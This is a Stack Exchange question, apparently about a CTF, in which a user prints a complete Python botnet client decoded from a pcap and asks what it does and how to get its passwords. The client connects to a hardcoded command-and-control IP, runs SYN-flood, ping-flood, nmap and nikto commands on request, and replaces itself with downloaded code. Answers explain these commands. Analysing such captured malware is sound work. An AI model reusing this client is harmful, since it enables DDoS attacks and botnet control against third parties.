Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

I got a python script decrypted out of a pcap file it's communication from a botnet (proberbly the c&c) but when i start the script i ain't getting login or passwords.

What does this script do? And how can i find the client controller?

from twisted.internet import reactor
from twisted.internet.protocol import ReconnectingClientFactory
from twisted.protocols.basic import LineReceiver
import os
import re
import random
import sys
import subprocess
from base64 import b64encode, b64decode

class ZeroNetClientProtocol(LineReceiver):
    delimiter = "\n"

    def __init__(self, pass1, pass2):
        self.pass1 = pass1
        self.pass2 = pass2
        self.version = 1.101
        self.state = "INIT"
        self.commands = {
            "DOWNLOAD": {
                "request_args": 1,
                "request_handler": None,
                "response_args": 2,
                "response_handler": self.handleDownloadResponse,
            },
            "NIKTO": {
                "request_args": 2,
                "request_handler": self.handleAttackRequest,
                "response_args": 2,
                "response_handler": None
            },
            "NMAP": {
                "request_args": 2,
                "request_handler": self.handleAttackRequest,
                "response_args": 2,
                "response_handler": None
            },
            "PING": {
                "request_args": 1,
                "request_handler": self.handlePingRequest,
                "response_args": 1,
                "response_handler": None
            },
            "PINGFLOOD": {
                "request_args": 3,
                "request_handler": self.handleAttackRequest,
                "response_args": 2,
                "response_handler": None
           },
           "SYNFLOOD": {
                "request_args": 3,
                "request_handler": self.handleAttackRequest,
                "response_args": 2,
                "response_handler": None
            },
            "VERSION": {
                "request_args": 0,
                "request_handler": None,
                "response_args": 1,
                "response_handler": self.handleVersionResponse,
            },
        }
        pass

    def connectionMade(self):
        self.sendLine(self.pass1)
        self.sendLine(self.pass2)

    def lineReceived(self, line):
        print line
        words = line.split()

        if self.state == "INIT" and line == "OK":
            print line
            self.sendLine("VERSION?")
            self.state = "COMMAND"
            return
        elif self.state == "INIT":
            return

        if len(words) <= 0:
            print ("Unknown command")
            return

        matches = re.search(r"^(.+)([?!])$", words[0])
        if not matches:
             print ("Unknown command")
             return

        command = matches.group(1)
        if matches.group(2) == '?':
            command_type = 'REQUEST'
        else:
            command_type = 'RESPONSE'

        if not self.commands.has_key(command):
            print ("Unknown command")
            return

        if command_type == 'REQUEST':
            request_args = self.commands[command]['request_args']
            request_handler = self.commands[command]['request_handler']
            if len(words) - 1 != request_args:
                print ("Unknown command")
                return

            if request_handler:
                request_handler(command, *words[1:])
        else:
            response_args = self.commands[command]['response_args']
            response_handler = self.commands[command]['response_handler']
            if len(words) - 1 != response_args:
                print ("Unknown command")
                return

            if response_handler:
                response_handler(command, *words[1:])

        print command, command_type

    def attack(self, ident, command, arg1, arg2, attack):
        result = subprocess.check_output([command, arg1, str(arg2)])
        self.sendLine("{0}! {1} {2}".format(attack, ident, b64encode(result)))

    def handleAttackRequest(self, command, ident, ip, duration=0):
        if not re.match("^[0-9]+$", ident) or not re.match("^[0-9.]+$", ip) or \
            (duration and not re.match("^[0-9]+$", duration)):
            print ("Unknown command")
            return

        if command == "NIKTO":
            reactor.callInThread(self.attack, ident, "./nikto.sh", ip, 0, command)
        elif command == "NMAP":
            reactor.callInThread(self.attack, ident, "./nmap.sh", ip, 0, command)
        elif command == "SYNFLOOD":
            reactor.callInThread(self.attack, ident, "./synflood.sh", ip, duration,    
            command)
        elif command == "PINGFLOOD":
            reactor.callInThread(self.attack, ident, "./pingflood.sh", ip, duration,    
            command)
        else:
            print ("Unknown command")
            return

    def handleDownloadResponse(self, command, version, data):
        f = open("client.py", "w")
        f.write(b64decode(data))
        f.close()
        reactor.stop()

    def handlePingRequest(self, command, ident):
        self.sendLine("PING! {0}".format(ident))

    def handleVersionResponse(self, command, version):
        if float(version) > self.version:
            self.sendLine("DOWNLOAD? {0}".format(str(float(version))))

class ZeroNetClientProtocolFactory(ReconnectingClientFactory):
    def __init__(self, pass1, pass2):
        self.pass1 = pass1
        self.pass2 = pass2

    def buildProtocol(self, addr):
        return ZeroNetClientProtocol(self.pass1, self.pass2)

import sys

if len(sys.argv) != 3:
    print "Usage: client.py <primary password> <secondary password>"
    sys.exit(1)

pass1 = sys.argv[1]
pass2 = sys.argv[2]

reactor.connectTCP("82.94.242.254", 8123, ZeroNetClientProtocolFactory(pass1, pass2))
reactor.run()
share|improve this question

closed as unclear what you're asking by Iszi, TildalWave, Gilles, GdD, Xander Jan 12 at 20:59

Please clarify your specific problem or add additional details to highlight exactly what you need. As it's currently written, it’s hard to tell exactly what you're asking. See the How to Ask page for help clarifying this question.If this question can be reworded to fit the rules in the help center, please edit the question.

    
Help, Someone???? –  Mark Jan 11 at 14:54
    
This was posted a few times in the last few days, is it for some CTF? Anyway, there's no passwords in this code, you're supposed to provide them as input parameters when you call the script, see the error displayed if you don't call it with 3 parameters (one being the script itself, followed by two passwords, separated by space): Usage: client.py <primary password> <secondary password> –  TildalWave Jan 12 at 17:55
    
Yep i know. This script is to make connection with the c&c but i have to find the client controller wich wil give me the passwords. I decoded this script out of a pcap file. The question now is how can i obtain the passwords? –  Mark Jan 12 at 21:12
    
Mark - these questions are not suitable for this site, which is why the community keeps voting to close them. Please read and digest our tour page before posting motte questions. –  Rory Alsop Jan 12 at 21:35

1 Answer 1

The python script connects to the IP 82.94.242.254 on port 8123, authenticates using pass1 and pass2 and then start receiving commands from the C&C. The commands are DOWNLOAD, NIKTO, NMAP, PING, PINGFLOOD, SYNFLOOD and VERSION. Most of these will trigger the execution of a .sh script.

From the names we can guess the kind of commands available, which are mainly DDoS attacks (PING and SYN flood), reconnaissance using nmap (network discovery) and nikto (web vulnerability scanner) and other for maintaining the bot (downloading and version number).

share|improve this answer
    
oke just what i allready thought, but is 82.94.242.254 the client controller, did i got that wright? And how can you get the passes for my computer, and how to enter them? –  Mark Jan 11 at 20:21
    
How can i obtain pass1 and pass2, i can't get them..? –  Mark Jan 12 at 0:25
    
The IP address is probably the address of the server C&C. To get pass1 and pass2, you must have access to the bot, you can either intercept the traffic or try reversing it to extract them. –  user2790452 Jan 12 at 12:47
    
ok thats the problem i don't have acces to the bot. i all ready sniffed the traffic but it doesn't give me any clue on where the bot is or how to contact it.. How and what should i do no get that?? I got the pcap from wich i extracted everything here, but can't seem to get the exact location, adress or link to the bot.. –  Mark Jan 12 at 13:17
    
the ip wich connects to the c&c is 203.0.113.56 when i do a GeoIP it doesn't give a location and the isp is test net, so therefore i believe to think that the bot is behind this ip... but how can i trace it further back.. –  Mark Jan 12 at 14:29

Not the answer you're looking for? Browse other questions tagged or ask your own question.